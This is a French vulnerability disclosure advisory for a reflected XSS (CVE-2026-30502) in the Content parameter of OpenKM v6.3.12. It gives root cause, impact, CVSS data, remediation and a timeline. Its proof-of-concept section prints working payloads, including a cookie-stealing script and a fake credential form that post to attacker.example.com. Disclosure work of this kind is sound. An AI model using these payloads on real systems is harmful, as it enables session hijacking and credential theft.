
Documentation et preuve de concept pour CVE-2026-30502, une vulnérabilité XSS réfléchie dans OpenKM v6.3.12. Comprend une analyse technique, la cause racine, l'évaluation de l'impact et des conseils de correction pour les chercheurs en sécurité et les testeurs d'intrusion.
Découvert et signalé par Dharmendra Kumar — Chercheur en sécurité
Cybersécurité | Test d'intrusion | Recherche de vulnérabilités | Divulgation responsable
Ce dépôt documente la divulgation responsable de CVE-2026-30502, une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) identifiée dans OpenKM v6.3.12 — un système de gestion documentaire open source largement déployé dans les environnements d'entreprise et gouvernementaux.
La vulnérabilité existe dans le paramètre Content, qui renvoie l'entrée fournie par l'utilisateur au navigateur sans validation ni encodage de sortie approprié. Un attaquant peut créer une URL malveillante contenant du JavaScript intégré et amener une victime à cliquer dessus via une ingénierie sociale, ce qui entraîne l'exécution de scripts dans la session du navigateur de la victime.
⚠️ Sévérité : Moyenne–Élevée | Vecteur d'attaque : Réseau | Privilèges requis : Aucun | Interaction utilisateur : Requise
OpenKM est un système de gestion documentaire (DMS) gratuit et open source qui fournit une interface web pour gérer, auditer et distribuer des documents professionnels. Il est utilisé par des entreprises, des organismes gouvernementaux et des établissements d'enseignement dans le monde entier.
v6.3.12Une vulnérabilité de Cross-Site Scripting Réfléchi (XSS) a été identifiée dans OpenKM v6.3.12 via le paramètre Content. L'application ne valide ni n'encode l'entrée fournie par l'utilisateur avant de la renvoyer dans le corps de la réponse HTTP, permettant d'injecter et d'exécuter du JavaScript arbitraire dans le navigateur de la victime.
Contrairement au XSS stocké, une charge utile XSS réfléchie n'est pas persistée dans la base de données — elle est transportée dans une URL spécialement conçue. L'attaque repose sur le fait que la victime est amenée à cliquer sur un lien malveillant (via e-mail, réseaux sociaux ou campagnes de phishing), après quoi la charge utile s'exécute silencieusement dans son navigateur avec le contexte de sa session.
L'attaquant crée une URL malveillante
│
▼
La victime clique sur le lien (phishing / ingénierie sociale)
│
▼
Le navigateur envoie une requête GET/POST avec la charge utile dans le paramètre `Content`
│
▼
OpenKM reflète l'entrée non nettoyée directement dans la réponse HTML
│
▼
Le navigateur analyse et exécute le JavaScript injecté
│
▼
Session détournée / identifiants volés / compte compromis
La vulnérabilité résulte de l'incapacité de l'application à appliquer des contrôles de sécurité entrée-sortie sur le paramètre Content :
URL créée par l'utilisateur ──► Paramètre Content ──► [Aucune validation]
──► Réfléchi dans la réponse HTML ──► [Aucun encodage]
──► Le navigateur exécute le script ──► Compte compromis
Une exploitation réussie de cette vulnérabilité peut entraîner :
⚠️ Avertissement : Les informations suivantes sont partagées strictement à des fins éducatives et de recherche en sécurité dans le cadre des principes de divulgation responsable. Ne testez ni n'utilisez cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite d'évaluation.
// Preuve d'exécution de base
<script>alert('CVE-2026-30502 - XSS par Dharmendra Kumar')</script>
// Exfiltration de cookie de session
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Superposition de phishing d'identifiants
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Nom d\'utilisateur"/>'
+'<input name="p" type="password" placeholder="Mot de passe"/>'
+'<button>Se connecter</button></form>';
document.body.prepend(d);
</script>
https://instance-cible-openkm/[point-de-termine-vulnerable]?Content=<script>alert(1)</script>
ContentContentDes principes complets de divulgation responsable ont été suivis tout au long de ce processus, y compris la coordination avec le fournisseur et l'engagement du programme CVE avant toute publication publique.
Chercheur en sécurité | Testeur d'intrusion | Chasseur de bugs | Contributeur CVE
Dharmendra Kumar est un chercheur en cybersécurité indépendant spécialisé dans la sécurité des applications web, les tests d'intrusion et la divulgation responsable de vulnérabilités. Ses recherches se concentrent sur l'identification et le signalement responsable de failles de sécurité réelles dans des logiciels largement utilisés — contribuant à des applications plus sûres pour les utilisateurs du monde entier.
Domaines d'expertise :
Connectez-vous avec moi :
Ce dépôt est destiné uniquement à des fins éducatives et informatives. Les détails de la vulnérabilité et les charges utiles de preuve de concept sont publiés conformément aux principes de divulgation responsable. L'auteur n'approuve ni n'assume la responsabilité de toute utilisation non autorisée de ces informations. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité sur un système que vous ne possédez pas.
Remerciements spéciaux à :
⭐ Si cette recherche vous a aidé, merci de considérer la mise en vedette de ce dépôt.
Recherche en sécurité partagée ouvertement pour rendre le web plus sûr pour tout le monde.
© 2026 Dharmendra Kumar — Tous droits réservés
| Champ | Détails |
|---|
| ID CVE | CVE-2026-30502 |
| Produit | OpenKM |
| Version affectée | v6.3.12 |
| Classe de vulnérabilité | Cross-Site Scripting Réfléchi (XSS) |
| Paramètre vulnérable | Content |
| CWE | CWE-79 : Mauvaise neutralisation des entrées lors de la génération des pages web |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Sévérité | Moyenne–Élevée |
| Éditeur | MITRE CVE Program |
| Chercheur | Dharmendra Kumar |
| Type de divulgation | Responsable / Coordonnée |
| Faiblesse | Description |
|---|
| ❌ Aucune validation d'entrée | Le paramètre Content accepte les caractères HTML/JavaScript bruts sans restriction ni filtrage |
| ❌ Aucun encodage de sortie | Les valeurs réfléchies sont écrites dans la réponse HTML sans encodage d'entités HTML |
| ❌ En-tête CSP manquant | Aucune politique de sécurité du contenu n'est appliquée pour bloquer l'exécution de scripts en ligne |
| ❌ Cookies sans HttpOnly | Les jetons de session sont accessibles via JavaScript, permettant le vol direct de cookies |
| Risque | Description |
|---|
| 🍪 Détournement de session | Vol des jetons de session actifs via document.cookie pour usurper l'identité de la victime |
| 🔑 Vol d'identifiants | Injection de superpositions de connexion factices pour capturer les noms d'utilisateur et mots de passe en clair |
| 📤 Divulgation d'informations | Exfiltration du contenu de documents sensibles, des données utilisateur ou des configurations internes |
| 🎣 Attaques de phishing | Affichage de pages factices convaincantes hébergées sur le domaine de confiance d'OpenKM |
| 👤 Prise de contrôle de compte | Exécution d'actions authentifiées arbitraires au nom de la victime |
| ⚙️ Actions non autorisées | Modification, suppression ou exfiltration de documents dans le DMS |
| 🖥️ Distribution de logiciels malveillants | Redirection des victimes vers des sites contrôlés par l'attaquant hébergeant des téléchargements malveillants |
| Recommandation | Implémentation |
|---|
| ✅ Validation des entrées | Rejeter ou supprimer les caractères HTML spéciaux (<, >, ", ', ;) de tous les paramètres contrôlés par l'utilisateur |
| ✅ Encodage des sorties | Appliquer un encodage HTML contextuel à l'aide de bibliothèques comme OWASP Java Encoder avant d'afficher les données réfléchies |
| ✅ Politique de sécurité du contenu | Déployer un en-tête CSP strict : Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ Cookies HttpOnly | Définir les drapeaux HttpOnly et Secure sur tous les cookies de session pour bloquer l'accès JavaScript |
| ✅ Bibliothèques de sécurité | Intégrer OWASP AntiSamy ou DOMPurify pour une désinfection robuste |
| ✅ Mise à niveau | Appliquer immédiatement le dernier correctif de sécurité publié par le fournisseur |
| Date | Événement |
|---|
| 🔍 Découverte | Vulnérabilité identifiée lors de l'évaluation de sécurité d'OpenKM v6.3.12 |
| 📧 Notification au fournisseur | Rapport de divulgation responsable soumis à l'équipe de sécurité d'OpenKM |
| 🤝 Accusé de réception du fournisseur | L'équipe OpenKM a accusé réception du rapport de vulnérabilité |
| 📝 Attribution CVE | CVE-2026-30502 attribué via le programme CVE de MITRE |
| 🌐 Divulgation publique | Divulgation publique coordonnée après la période de correction |